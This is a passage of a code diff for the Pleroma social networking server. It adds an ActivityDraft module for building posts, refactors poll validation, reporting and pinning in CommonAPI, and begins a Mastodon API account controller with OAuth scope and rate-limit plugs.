+++ b/lib/pleroma/web/common_api/activity_draft.ex @@ -0,0 +1,219 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.CommonAPI.ActivityDraft do + alias Pleroma.Activity + alias Pleroma.Conversation.Participation + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + + import Pleroma.Web.Gettext + + defstruct valid?: true, + errors: [], + user: nil, + params: %{}, + status: nil, + summary: nil, + full_payload: nil, + attachments: [], + in_reply_to: nil, + in_reply_to_conversation: nil, + visibility: nil, + expires_at: nil, + poll: nil, + emoji: %{}, + content_html: nil, + mentions: [], + tags: [], + to: [], + cc: [], + context: nil, + sensitive: false, + object: nil, + preview?: false, + changes: %{} + + def create(user, params) do + %__MODULE__{user: user} + |> put_params(params) + |> status() + |> summary() + |> with_valid(&attachments/1) + |> full_payload() + |> expires_at() + |> poll() + |> with_valid(&in_reply_to/1) + |> with_valid(&in_reply_to_conversation/1) + |> with_valid(&visibility/1) + |> content() + |> with_valid(&to_and_cc/1) + |> with_valid(&context/1) + |> sensitive() + |> with_valid(&object/1) + |> preview?() + |> with_valid(&changes/1) + |> validate() + end + + defp put_params(draft, params) do + params = Map.put_new(params, "in_reply_to_status_id", params["in_reply_to_id"]) + %__MODULE__{draft | params: params} + end + + defp status(%{params: %{"status" => status}} = draft) do + %__MODULE__{draft | status: String.trim(status)} + end + + defp summary(%{params: params} = draft) do + %__MODULE__{draft | summary: Map.get(params, "spoiler_text", "")} + end + + defp full_payload(%{status: status, summary: summary} = draft) do + full_payload = String.trim(status <> summary) + + case Utils.validate_character_limit(full_payload, draft.attachments) do + :ok -> %__MODULE__{draft | full_payload: full_payload} + {:error, message} -> add_error(draft, message) + end + end + + defp attachments(%{params: params} = draft) do + attachments = Utils.attachments_from_ids(params) + %__MODULE__{draft | attachments: attachments} + end + + defp in_reply_to(draft) do + case Map.get(draft.params, "in_reply_to_status_id") do + "" -> draft + nil -> draft + id -> %__MODULE__{draft | in_reply_to: Activity.get_by_id(id)} + end + end + + defp in_reply_to_conversation(draft) do + in_reply_to_conversation = Participation.get(draft.params["in_reply_to_conversation_id"]) + %__MODULE__{draft | in_reply_to_conversation: in_reply_to_conversation} + end + + defp visibility(%{params: params} = draft) do + case CommonAPI.get_visibility(params, draft.in_reply_to, draft.in_reply_to_conversation) do + {visibility, "direct"} when visibility != "direct" -> + add_error(draft, dgettext("errors", "The message visibility must be direct")) + + {visibility, _} -> + %__MODULE__{draft | visibility: visibility} + end + end + + defp expires_at(draft) do + case CommonAPI.check_expiry_date(draft.params["expires_in"]) do + {:ok, expires_at} -> %__MODULE__{draft | expires_at: expires_at} + {:error, message} -> add_error(draft, message) + end + end + + defp poll(draft) do + case Utils.make_poll_data(draft.params) do + {:ok, {poll, poll_emoji}} -> + %__MODULE__{draft | poll: poll, emoji: Map.merge(draft.emoji, poll_emoji)} + + {:error, message} -> + add_error(draft, message) + end + end + + defp content(draft) do + {content_html, mentions, tags} = + Utils.make_content_html( + draft.status, + draft.attachments, + draft.params, + draft.visibility + ) + + %__MODULE__{draft | content_html: content_html, mentions: mentions, tags: tags} + end + + defp to_and_cc(draft) do + addressed_users = + draft.mentions + |> Enum.map(fn {_, mentioned_user} -> mentioned_user.ap_id end) + |> Utils.get_addressed_users(draft.params["to"]) + + {to, cc} = + Utils.get_to_and_cc( + draft.user, + addressed_users, + draft.in_reply_to, + draft.visibility, + draft.in_reply_to_conversation + ) + + %__MODULE__{draft | to: to, cc: cc} + end + + defp context(draft) do + context = Utils.make_context(draft.in_reply_to, draft.in_reply_to_conversation) + %__MODULE__{draft | context: context} + end + + defp sensitive(draft) do + sensitive = draft.params["sensitive"] || Enum.member?(draft.tags, {"#nsfw", "nsfw"}) + %__MODULE__{draft | sensitive: sensitive} + end + + defp object(draft) do + emoji = Map.merge(Pleroma.Emoji.Formatter.get_emoji_map(draft.full_payload), draft.emoji) + + object = + Utils.make_note_data( + draft.user.ap_id, + draft.to, + draft.context, + draft.content_html, + draft.attachments, + draft.in_reply_to, + draft.tags, + draft.summary, + draft.cc, + draft.sensitive, + draft.poll + ) + |> Map.put("emoji", emoji) + + %__MODULE__{draft | object: object} + end + + defp preview?(draft) do + preview? = Pleroma.Web.ControllerHelper.truthy_param?(draft.params["preview"]) || false + %__MODULE__{draft | preview?: preview?} + end + + defp changes(draft) do + direct? = draft.visibility == "direct" + + changes = + %{ + to: draft.to, + actor: draft.user, + context: draft.context, + object: draft.object, + additional: %{"cc" => draft.cc, "directMessage" => direct?} + } + |> Utils.maybe_add_list_data(draft.user, draft.visibility) + + %__MODULE__{draft | changes: changes} + end + + defp with_valid(%{valid?: true} = draft, func), do: func.(draft) + defp with_valid(draft, _func), do: draft + + defp add_error(draft, message) do + %__MODULE__{draft | valid?: false, errors: [message | draft.errors]} + end + + defp validate(%{valid?: true} = draft), do: {:ok, draft} + defp validate(%{errors: [message | _]}), do: {:error, message} +end diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index 5faddc9f4..2ec017ff8 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -6,7 +6,6 @@ defmodule Pleroma.Web.CommonAPI do alias Pleroma.Activity alias Pleroma.ActivityExpiration alias Pleroma.Conversation.Participation - alias Pleroma.Formatter alias Pleroma.Object alias Pleroma.ThreadMute alias Pleroma.User @@ -18,14 +17,11 @@ defmodule Pleroma.Web.CommonAPI do import Pleroma.Web.CommonAPI.Utils def follow(follower, followed) do + timeout = Pleroma.Config.get([:activitypub, :follow_handshake_timeout]) + with {:ok, follower} <- User.maybe_direct_follow(follower, followed), {:ok, activity} <- ActivityPub.follow(follower, followed), - {:ok, follower, followed} <- - User.wait_and_refresh( - Pleroma.Config.get([:activitypub, :follow_handshake_timeout]), - follower, - followed - ) do + {:ok, follower, followed} <- User.wait_and_refresh(timeout, follower, followed) do {:ok, follower, followed, activity} end end @@ -76,8 +72,7 @@ def delete(activity_id, user) do {:ok, delete} <- ActivityPub.delete(object) do {:ok, delete} else - _ -> - {:error, dgettext("errors", "Could not delete")} + _ -> {:error, dgettext("errors", "Could not delete")} end end @@ -87,18 +82,16 @@ def repeat(id_or_ap_id, user) do nil <- Utils.get_existing_announce(user.ap_id, object) do ActivityPub.announce(user, object) else - _ -> - {:error, dgettext("errors", "Could not repeat")} + _ -> {:error, dgettext("errors", "Could not repeat")} end end def unrepeat(id_or_ap_id, user) do - with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id), - object <- Object.normalize(activity) do + with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id) do + object = Object.normalize(activity) ActivityPub.unannounce(user, object) else - _ -> - {:error, dgettext("errors", "Could not unrepeat")} + _ -> {:error, dgettext("errors", "Could not unrepeat")} end end @@ -108,30 +101,23 @@ def favorite(id_or_ap_id, user) do nil <- Utils.get_existing_like(user.ap_id, object) do ActivityPub.like(user, object) else - _ -> - {:error, dgettext("errors", "Could not favorite")} + _ -> {:error, dgettext("errors", "Could not favorite")} end end def unfavorite(id_or_ap_id, user) do - with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id), - object <- Object.normalize(activity) do + with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id) do + object = Object.normalize(activity) ActivityPub.unlike(user, object) else - _ -> - {:error, dgettext("errors", "Could not unfavorite")} + _ -> {:error, dgettext("errors", "Could not unfavorite")} end end - def vote(user, object, choices) do - with "Question" <- object.data["type"], - {:author, false} <- {:author, object.data["actor"] == user.ap_id}, - {:existing_votes, []} <- {:existing_votes, Utils.get_existing_votes(user.ap_id, object)}, - {options, max_count} <- get_options_and_max_count(object), - option_count <- Enum.count(options), - {:choice_check, {choices, true}} <- - {:choice_check, normalize_and_validate_choice_indices(choices, option_count)}, - {:count_check, true} <- {:count_check, Enum.count(choices) <= max_count} do + def vote(user, %{data: %{"type" => "Question"}} = object, choices) do + with :ok <- validate_not_author(object, user), + :ok <- validate_existing_votes(user, object), + {:ok, options, choices} <- normalize_and_validate_choices(choices, object) do answer_activities = Enum.map(choices, fn index -> answer_data = make_answer_data(user, object, Enum.at(options, index)["name"]) @@ -150,32 +136,40 @@ def vote(user, object, choices) do object = Object.get_cached_by_ap_id(object.data["id"]) {:ok, answer_activities, object} - else - {:author, _} -> {:error, dgettext("errors", "Poll's author can't vote")} - {:existing_votes, _} -> {:error, dgettext("errors", "Already voted")} - {:choice_check, {_, false}} -> {:error, dgettext("errors", "Invalid indices")} - {:count_check, false} -> {:error, dgettext("errors", "Too many choices")} end end - defp get_options_and_max_count(object) do - if Map.has_key?(object.data, "anyOf") do - {object.data["anyOf"], Enum.count(object.data["anyOf"])} + defp validate_not_author(%{data: %{"actor" => ap_id}}, %{ap_id: ap_id}), + do: {:error, dgettext("errors", "Poll's author can't vote")} + + defp validate_not_author(_, _), do: :ok + + defp validate_existing_votes(%{ap_id: ap_id}, object) do + if Utils.get_existing_votes(ap_id, object) == [] do + :ok else - {object.data["oneOf"], 1} + {:error, dgettext("errors", "Already voted")} end end - defp normalize_and_validate_choice_indices(choices, count) do - Enum.map_reduce(choices, true, fn index, valid -> - index = if is_binary(index), do: String.to_integer(index), else: index - {index, if(valid, do: index < count, else: valid)} - end) + defp get_options_and_max_count(%{data: %{"anyOf" => any_of}}), do: {any_of, Enum.count(any_of)} + defp get_options_and_max_count(%{data: %{"oneOf" => one_of}}), do: {one_of, 1} + + defp normalize_and_validate_choices(choices, object) do + choices = Enum.map(choices, fn i -> if is_binary(i), do: String.to_integer(i), else: i end) + {options, max_count} = get_options_and_max_count(object) + count = Enum.count(options) + + with {_, true} <- {:valid_choice, Enum.all?(choices, &(&1 < count))}, + {_, true} <- {:count_check, Enum.count(choices) <= max_count} do + {:ok, options, choices} + else + {:valid_choice, _} -> {:error, dgettext("errors", "Invalid indices")} + {:count_check, _} -> {:error, dgettext("errors", "Too many choices")} + end end - def get_visibility(_, _, %Participation{}) do - {"direct", "direct"} - end + def get_visibility(_, _, %Participation{}), do: {"direct", "direct"} def get_visibility(%{"visibility" => visibility}, in_reply_to, _) when visibility in ~w{public unlisted private direct}, @@ -197,13 +191,13 @@ def get_replied_to_visibility(nil), do: nil def get_replied_to_visibility(activity) do with %Object{} = object <- Object.normalize(activity) do - Pleroma.Web.ActivityPub.Visibility.get_visibility(object) + Visibility.get_visibility(object) end end - defp check_expiry_date({:ok, nil} = res), do: res + def check_expiry_date({:ok, nil} = res), do: res - defp check_expiry_date({:ok, in_seconds}) do + def check_expiry_date({:ok, in_seconds}) do expiry = NaiveDateTime.utc_now() |> NaiveDateTime.add(in_seconds) if ActivityExpiration.expires_late_enough?(expiry) do @@ -213,105 +207,57 @@ defp check_expiry_date({:ok, in_seconds}) do end end - defp check_expiry_date(expiry_str) do + def check_expiry_date(expiry_str) do Ecto.Type.cast(:integer, expiry_str) |> check_expiry_date() end - def post(user, %{"status" => status} = data) do - limit = Pleroma.Config.get([:instance, :limit]) - - with status <- String.trim(status), - attachments <- attachments_from_ids(data), - in_reply_to <- get_replied_to_activity(data["in_reply_to_status_id"]), - in_reply_to_conversation <- Participation.get(data["in_reply_to_conversation_id"]), - {visibility, in_reply_to_visibility} <- - get_visibility(data, in_reply_to, in_reply_to_conversation), - {_, false} <- - {:private_to_public, in_reply_to_visibility == "direct" && visibility != "direct"}, - {content_html, mentions, tags} <- - make_content_html( - status, - attachments, - data, - visibility - ), - mentioned_users <- for({_, mentioned_user} <- mentions, do: mentioned_user.ap_id), - addressed_users <- get_addressed_users(mentioned_users, data["to"]), - {poll, poll_emoji} <- make_poll_data(data), - {to, cc} <- - get_to_and_cc(user, addressed_users, in_reply_to, visibility, in_reply_to_conversation), - context <- make_context(in_reply_to, in_reply_to_conversation), - cw <- data["spoiler_text"] || "", - sensitive <- data["sensitive"] || Enum.member?(tags, {"#nsfw", "nsfw"}), - {:ok, expires_at} <- check_expiry_date(data["expires_in"]), - full_payload <- String.trim(status <> cw), - :ok <- validate_character_limit(full_payload, attachments, limit), - object <- - make_note_data( - user.ap_id, - to, - context, - content_html, - attachments, - in_reply_to, - tags, - cw, - cc, - sensitive, - poll - ), - object <- - Map.put( - object, - "emoji", - Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji) - ) do - preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false - direct? = visibility == "direct" - - result = - %{ - to: to, - actor: user, - context: context, - object: object, - additional: %{"cc" => cc, "directMessage" => direct?} - } - |> maybe_add_list_data(user, visibility) - |> ActivityPub.create(preview?) - - if expires_at do - with {:ok, activity} <- result do - {:ok, _} = ActivityExpiration.create(activity, expires_at) - end - end - - result - else - {:private_to_public, true} -> - {:error, dgettext("errors", "The message visibility must be direct")} - - {:error, _} = e -> - e - - e -> - {:error, e} + def listen(user, %{"title" => _} = data) do + with visibility <- data["visibility"] || "public", + {to, cc} <- get_to_and_cc(user, [], nil, visibility, nil), + listen_data <- + Map.take(data, ["album", "artist", "title", "length"]) + |> Map.put("type", "Audio") + |> Map.put("to", to) + |> Map.put("cc", cc) + |> Map.put("actor", user.ap_id), + {:ok, activity} <- + ActivityPub.listen(%{ + actor: user, + to: to, + object: listen_data, + context: Utils.generate_context_id(), + additional: %{"cc" => cc} + }) do + {:ok, activity} end end + def post(user, %{"status" => _} = data) do + with {:ok, draft} <- Pleroma.Web.CommonAPI.ActivityDraft.create(user, data) do + draft.changes + |> ActivityPub.create(draft.preview?) + |> maybe_create_activity_expiration(draft.expires_at) + end + end + + defp maybe_create_activity_expiration({:ok, activity}, %NaiveDateTime{} = expires_at) do + with {:ok, _} <- ActivityExpiration.create(activity, expires_at) do + {:ok, activity} + end + end + + defp maybe_create_activity_expiration(result, _), do: result + # Updates the emojis for a user based on their profile def update(user) do + emoji = emoji_from_profile(user) + source_data = user.info |> Map.get(:source_data, %{}) |> Map.put("tag", emoji) + user = - with emoji <- emoji_from_profile(user), - source_data <- (user.info.source_data || %{}) |> Map.put("tag", emoji), - info_cng <- User.Info.set_source_data(user.info, source_data), - change <- Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_cng), - {:ok, user} <- User.update_and_set_cache(change) do - user - else - _e -> - user + case User.update_info(user, &User.Info.set_source_data(&1, source_data)) do + {:ok, user} -> user + _ -> user end ActivityPub.update(%{ @@ -326,44 +272,25 @@ def update(user) do def pin(id_or_ap_id, %{ap_id: user_ap_id} = user) do with %Activity{ actor: ^user_ap_id, - data: %{ - "type" => "Create" - }, - object: %Object{ - data: %{ - "type" => "Note" - } - } + data: %{"type" => "Create"}, + object: %Object{data: %{"type" => "Note"}} } = activity <- get_by_id_or_ap_id(id_or_ap_id), true <- Visibility.is_public?(activity), - %{valid?: true} = info_changeset <- User.Info.add_pinnned_activity(user.info, activity), - changeset <- - Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset), - {:ok, _user} <- User.update_and_set_cache(changeset) do + {:ok, _user} <- User.update_info(user, &User.Info.add_pinnned_activity(&1, activity)) do {:ok, activity} else - %{errors: [pinned_activities: {err, _}]} -> - {:error, err} - - _ -> - {:error, dgettext("errors", "Could not pin")} + {:error, %{changes: %{info: %{errors: [pinned_activities: {err, _}]}}}} -> {:error, err} + _ -> {:error, dgettext("errors", "Could not pin")} end end def unpin(id_or_ap_id, user) do with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id), - %{valid?: true} = info_changeset <- - User.Info.remove_pinnned_activity(user.info, activity), - changeset <- - Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset), - {:ok, _user} <- User.update_and_set_cache(changeset) do + {:ok, _user} <- User.update_info(user, &User.Info.remove_pinnned_activity(&1, activity)) do {:ok, activity} else - %{errors: [pinned_activities: {err, _}]} -> - {:error, err} - - _ -> - {:error, dgettext("errors", "Could not unpin")} + %{errors: [pinned_activities: {err, _}]} -> {:error, err} + _ -> {:error, dgettext("errors", "Could not unpin")} end end @@ -383,51 +310,46 @@ def remove_mute(user, activity) do def thread_muted?(%{id: nil} = _user, _activity), do: false def thread_muted?(user, activity) do - with [] <- ThreadMute.check_muted(user.id, activity.data["context"]) do - false - else - _ -> true + ThreadMute.check_muted(user.id, activity.data["context"]) != [] + end + + def report(user, %{"account_id" => account_id} = data) do + with {:ok, account} <- get_reported_account(account_id), + {:ok, {content_html, _, _}} <- make_report_content_html(data["comment"]), + {:ok, statuses} <- get_report_statuses(account, data) do + ActivityPub.flag(%{ + context: Utils.generate_context_id(), + actor: user, + account: account, + statuses: statuses, + content: content_html, + forward: data["forward"] || false + }) end end - def report(user, data) do - with {:account_id, %{"account_id" => account_id}} <- {:account_id, data}, - {:account, %User{} = account} <- {:account, User.get_cached_by_id(account_id)}, - {:ok, {content_html, _, _}} <- make_report_content_html(data["comment"]), - {:ok, statuses} <- get_report_statuses(account, data), - {:ok, activity} <- - ActivityPub.flag(%{ - context: Utils.generate_context_id(), - actor: user, - account: account, - statuses: statuses, - content: content_html, - forward: data["forward"] || false - }) do - {:ok, activity} - else - {:error, err} -> {:error, err} - {:account_id, %{}} -> {:error, dgettext("errors", "Valid `account_id` required")} - {:account, nil} -> {:error, dgettext("errors", "Account not found")} + def report(_user, _params), do: {:error, dgettext("errors", "Valid `account_id` required")} + + defp get_reported_account(account_id) do + case User.get_cached_by_id(account_id) do + %User{} = account -> {:ok, account} + _ -> {:error, dgettext("errors", "Account not found")} end end def update_report_state(activity_id, state) do - with %Activity{} = activity <- Activity.get_by_id(activity_id), - {:ok, activity} <- Utils.update_report_state(activity, state) do - {:ok, activity} + with %Activity{} = activity <- Activity.get_by_id(activity_id) do + Utils.update_report_state(activity, state) else nil -> {:error, :not_found} - {:error, reason} -> {:error, reason} _ -> {:error, dgettext("errors", "Could not update state")} end end def update_activity_scope(activity_id, opts \\ %{}) do with %Activity{} = activity <- Activity.get_by_id_with_object(activity_id), - {:ok, activity} <- toggle_sensitive(activity, opts), - {:ok, activity} <- set_visibility(activity, opts) do - {:ok, activity} + {:ok, activity} <- toggle_sensitive(activity, opts) do + set_visibility(activity, opts) else nil -> {:error, :not_found} {:error, reason} -> {:error, reason} @@ -458,23 +380,15 @@ defp set_visibility(activity, %{"visibility" => visibility}) do defp set_visibility(activity, _), do: {:ok, activity} - def hide_reblogs(user, muted) do - ap_id = muted.ap_id - + def hide_reblogs(user, %{ap_id: ap_id} = _muted) do if ap_id not in user.info.muted_reblogs do - info_changeset = User.Info.add_reblog_mute(user.info, ap_id) - changeset = Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset) - User.update_and_set_cache(changeset) + User.update_info(user, &User.Info.add_reblog_mute(&1, ap_id)) end end - def show_reblogs(user, muted) do - ap_id = muted.ap_id - + def show_reblogs(user, %{ap_id: ap_id} = _muted) do if ap_id in user.info.muted_reblogs do - info_changeset = User.Info.remove_reblog_mute(user.info, ap_id) - changeset = Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset) - User.update_and_set_cache(changeset) + User.update_info(user, &User.Info.remove_reblog_mute(&1, ap_id)) end end end diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 6958c7511..88a5f434a 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -4,11 +4,13 @@ defmodule Pleroma.Web.CommonAPI.Utils do import Pleroma.Web.Gettext + import Pleroma.Web.ControllerHelper, only: [truthy_param?: 1] alias Calendar.Strftime alias Pleroma.Activity alias Pleroma.Config alias Pleroma.Conversation.Participation + alias Pleroma.Emoji alias Pleroma.Formatter alias Pleroma.Object alias Pleroma.Plugs.AuthenticationPlug @@ -25,7 +27,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do # This is a hack for twidere. def get_by_id_or_ap_id(id) do activity = - with true <- Pleroma.FlakeId.is_flake_id?(id), + with true <- FlakeId.flake_id?(id), %Activity{} = activity <- Activity.get_by_id_with_object(id) do activity else @@ -40,14 +42,6 @@ def get_by_id_or_ap_id(id) do end end - def get_replied_to_activity(""), do: nil - - def get_replied_to_activity(id) when not is_nil(id) do - Activity.get_by_id(id) - end - - def get_replied_to_activity(_), do: nil - def attachments_from_ids(%{"media_ids" => ids, "descriptions" => desc} = _) do attachments_from_ids_descs(ids, desc) end @@ -158,70 +152,74 @@ def maybe_add_list_data(activity_params, user, {:list, list_id}) do def maybe_add_list_data(activity_params, _, _), do: activity_params + def make_poll_data(%{"poll" => %{"expires_in" => expires_in}} = data) + when is_binary(expires_in) do + # In some cases mastofe sends out strings instead of integers + data + |> put_in(["poll", "expires_in"], String.to_integer(expires_in)) + |> make_poll_data() + end + def make_poll_data(%{"poll" => %{"options" => options, "expires_in" => expires_in}} = data) when is_list(options) do - %{max_expiration: max_expiration, min_expiration: min_expiration} = - limits = Pleroma.Config.get([:instance, :poll_limits]) + limits = Pleroma.Config.get([:instance, :poll_limits]) - # XXX: There is probably a cleaner way of doing this - try do - # In some cases mastofe sends out strings instead of integers - expires_in = if is_binary(expires_in), do: String.to_integer(expires_in), else: expires_in - - if Enum.count(options) > limits.max_options do - raise ArgumentError, message: "Poll can't contain more than #{limits.max_options} options" - end - - {poll, emoji} = + with :ok <- validate_poll_expiration(expires_in, limits), + :ok <- validate_poll_options_amount(options, limits), + :ok <- validate_poll_options_length(options, limits) do + {option_notes, emoji} = Enum.map_reduce(options, %{}, fn option, emoji -> - if String.length(option) > limits.max_option_chars do - raise ArgumentError, - message: - "Poll options cannot be longer than #{limits.max_option_chars} characters each" - end + note = %{ + "name" => option, + "type" => "Note", + "replies" => %{"type" => "Collection", "totalItems" => 0} + } - {%{ - "name" => option, - "type" => "Note", - "replies" => %{"type" => "Collection", "totalItems" => 0} - }, Map.merge(emoji, Formatter.get_emoji_map(option))} + {note, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))} end) - case expires_in do - expires_in when expires_in > max_expiration -> - raise ArgumentError, message: "Expiration date is too far in the future" - - expires_in when expires_in < min_expiration -> - raise ArgumentError, message: "Expiration date is too soon" - - _ -> - :noop - end - end_time = NaiveDateTime.utc_now() |> NaiveDateTime.add(expires_in) |> NaiveDateTime.to_iso8601() - poll = - if Pleroma.Web.ControllerHelper.truthy_param?(data["poll"]["multiple"]) do - %{"type" => "Question", "anyOf" => poll, "closed" => end_time} - else - %{"type" => "Question", "oneOf" => poll, "closed" => end_time} - end + key = if truthy_param?(data["poll"]["multiple"]), do: "anyOf", else: "oneOf" + poll = %{"type" => "Question", key => option_notes, "closed" => end_time} - {poll, emoji} - rescue - e in ArgumentError -> e.message + {:ok, {poll, emoji}} end end def make_poll_data(%{"poll" => poll}) when is_map(poll) do - "Invalid poll" + {:error, "Invalid poll"} end def make_poll_data(_data) do - {%{}, %{}} + {:ok, {%{}, %{}}} + end + + defp validate_poll_options_amount(options, %{max_options: max_options}) do + if Enum.count(options) > max_options do + {:error, "Poll can't contain more than #{max_options} options"} + else + :ok + end + end + + defp validate_poll_options_length(options, %{max_option_chars: max_option_chars}) do + if Enum.any?(options, &(String.length(&1) > max_option_chars)) do + {:error, "Poll options cannot be longer than #{max_option_chars} characters each"} + else + :ok + end + end + + defp validate_poll_expiration(expires_in, %{min_expiration: min, max_expiration: max}) do + cond do + expires_in > max -> {:error, "Expiration date is too far in the future"} + expires_in < min -> {:error, "Expiration date is too soon"} + true -> :ok + end end def make_content_html( @@ -233,7 +231,7 @@ def make_content_html( no_attachment_links = data |> Map.get("no_attachment_links", Config.get([:instance, :no_attachment_links])) - |> Kernel.in([true, "true"]) + |> truthy_param?() content_type = get_content_type(data["content_type"]) @@ -346,25 +344,25 @@ def make_note_data( attachments, in_reply_to, tags, - cw \\ nil, + summary \\ nil, cc \\ [], sensitive \\ false, - merge \\ %{} + extra_params \\ %{} ) do %{ "type" => "Note", "to" => to, "cc" => cc, "content" => content_html, - "summary" => cw, - "sensitive" => !Enum.member?(["false", "False", "0", false], sensitive), + "summary" => summary, + "sensitive" => truthy_param?(sensitive), "context" => context, "attachment" => attachments, "actor" => actor, "tag" => Keyword.values(tags) |> Enum.uniq() } |> add_in_reply_to(in_reply_to) - |> Map.merge(merge) + |> Map.merge(extra_params) end defp add_in_reply_to(object, nil), do: object @@ -433,12 +431,14 @@ def confirm_current_password(user, password) do end end - def emoji_from_profile(%{info: _info} = user) do - (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name)) - |> Enum.map(fn {shortcode, url, _} -> + def emoji_from_profile(%User{bio: bio, name: name}) do + [bio, name] + |> Enum.map(&Emoji.Formatter.get_emoji/1) + |> Enum.concat() + |> Enum.map(fn {shortcode, %Emoji{file: path}} -> %{ "type" => "Emoji", - "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"}, + "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{path}"}, "name" => ":#{shortcode}:" } end) @@ -570,15 +570,16 @@ def make_answer_data(%User{ap_id: ap_id}, object, name) do } end - def validate_character_limit(full_payload, attachments, limit) do + def validate_character_limit("" = _full_payload, [] = _attachments) do + {:error, dgettext("errors", "Cannot post an empty status without attachments")} + end + + def validate_character_limit(full_payload, _attachments) do + limit = Pleroma.Config.get([:instance, :limit]) length = String.length(full_payload) if length < limit do - if length > 0 or Enum.count(attachments) > 0 do - :ok - else - {:error, dgettext("errors", "Cannot post an empty status without attachments")} - end + :ok else {:error, dgettext("errors", "The status is over the character limit")} end diff --git a/lib/pleroma/web/controller_helper.ex b/lib/pleroma/web/controller_helper.ex index b53a01955..83b884ba9 100644 --- a/lib/pleroma/web/controller_helper.ex +++ b/lib/pleroma/web/controller_helper.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.ControllerHelper do use Pleroma.Web, :controller # As in MastoAPI, per https://api.rubyonrails.org/classes/ActiveModel/Type/Boolean.html - @falsy_param_values [false, 0, "0", "f", "F", "false", "FALSE", "off", "OFF"] + @falsy_param_values [false, 0, "0", "f", "F", "false", "False", "FALSE", "off", "OFF"] def truthy_param?(blank_value) when blank_value in [nil, ""], do: nil def truthy_param?(value), do: value not in @falsy_param_values @@ -68,4 +68,11 @@ def add_link_headers(conn, activities, extra_params \\ %{}) do conn end end + + def assign_account_by_id(%{params: %{"id" => id}} = conn, _) do + case Pleroma.User.get_cached_by_id(id) do + %Pleroma.User{} = account -> assign(conn, :account, account) + nil -> Pleroma.Web.MastodonAPI.FallbackController.call(conn, {:error, :not_found}) |> halt() + end + end end diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex index eb805e853..2212e93f4 100644 --- a/lib/pleroma/web/endpoint.ex +++ b/lib/pleroma/web/endpoint.ex @@ -97,10 +97,7 @@ defmodule Pleroma.Web.Endpoint do extra: extra ) - # Note: the plug and its configuration is compile-time this can't be upstreamed yet - if proxies = Pleroma.Config.get([__MODULE__, :reverse_proxies]) do - plug(RemoteIp, proxies: proxies) - end + plug(Pleroma.Plugs.RemoteIp) defmodule Instrumenter do use Prometheus.PhoenixInstrumenter diff --git a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex new file mode 100644 index 000000000..3bc9ed8ae --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex @@ -0,0 +1,344 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.AccountController do + use Pleroma.Web, :controller + + import Pleroma.Web.ControllerHelper, + only: [add_link_headers: 2, truthy_param?: 1, assign_account_by_id: 2, json_response: 3] + + alias Pleroma.Emoji + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.RateLimiter + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.ListView + alias Pleroma.Web.MastodonAPI.MastodonAPI + alias Pleroma.Web.MastodonAPI.StatusView + alias Pleroma.Web.OAuth.Token + alias Pleroma.Web.TwitterAPI.TwitterAPI + + plug( + OAuthScopesPlug, + %{fallback: :proceed_unauthenticated, scopes: ["read:accounts"]} + when action == :show + ) + + plug( + OAuthScopesPlug, + %{scopes: ["read:accounts"]} + when action in [:endorsements, :verify_credentials, :followers, :following] + ) + + plug(OAuthScopesPlug, %{scopes: ["write:accounts"]} when action == :update_credentials) + + plug(OAuthScopesPlug, %{scopes: ["read:lists"]} when action == :lists) + + plug( + OAuthScopesPlug, + %{scopes: ["follow", "write:blocks"]} when action in [:block, :unblock] + ) + + plug(OAuthScopesPlug, %{scopes: ["read:follows"]} when action == :relationships) + + plug( + OAuthScopesPlug, + %{scopes: ["follow", "write:follows"]} when action in [:follow, :unfollow] + ) + + plug(OAuthScopesPlug, %{scopes: ["follow", "write:mutes"]} when action in [:mute, :unmute]) + + plug( + Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + when action != :create + ) + + @relations [:follow, :unfollow] + @needs_account ~W(followers following lists follow unfollow mute unmute block unblock)a + + plug(RateLimiter, {:relations_id_action, params: ["id", "uri"]} when action in @relations) + plug(RateLimiter, :relations_actions when action in @relations) + plug(RateLimiter, :app_account_creation when action == :create) + plug(:assign_account_by_id when action in @needs_account) + + action_fallback(Pleroma.Web.MastodonAPI.FallbackController) + + @doc "POST /api/v1/accounts" + def create( + %{assigns: %{app: app}} = conn, + %{"username" => nickname, "email" => _, "password" => _, "agreement" => true} = params + ) do + params = + params + |> Map.take([ + "email", + "captcha_solution", + "captcha_token", + "captcha_answer_data", + "token", + "password" + ]) + 